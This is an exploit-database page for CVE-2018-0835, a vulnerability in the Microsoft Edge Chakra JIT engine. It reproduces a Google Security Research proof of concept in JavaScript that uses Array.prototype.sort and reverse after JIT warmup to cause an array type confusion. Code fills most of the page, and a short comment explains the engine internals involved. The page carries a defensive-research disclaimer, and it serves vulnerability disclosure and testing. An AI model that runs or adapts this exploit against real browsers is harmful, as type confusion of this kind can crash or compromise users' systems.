Materialized exploit

CVE-2018-0835

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - 'Array.prototype.reverse' Array Type Confusion

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.

Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray

To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.

Here's a snippet of JavascriptArray::EntrySort.
    arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
    JS_REENTRANT(jsReentLock, arr->Sort(compFn));
    arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);

If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.

PoC:
*/

function opt(arr, arr2) {
    arr2[0];

    arr[0] = 1.1;
    arr2.reverse();
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3];
    arr.__proto__ = null;  // avoid inline caching
    delete arr[1];  // avoid doArrayMissingValueCheckHoist

    let arr2 = [, {}];
    arr2.__proto__ = {};
    arr2.reverse = Array.prototype.reverse;

    for (let i = 0; i < 10000; i++) {
        opt(arr, arr2);
    }

    Array.prototype.sort.call(arr, () => {
        arr2.__proto__.__proto__ = arr;
    });

    opt(arr, arr2);
    print(arr[0]);
}

main();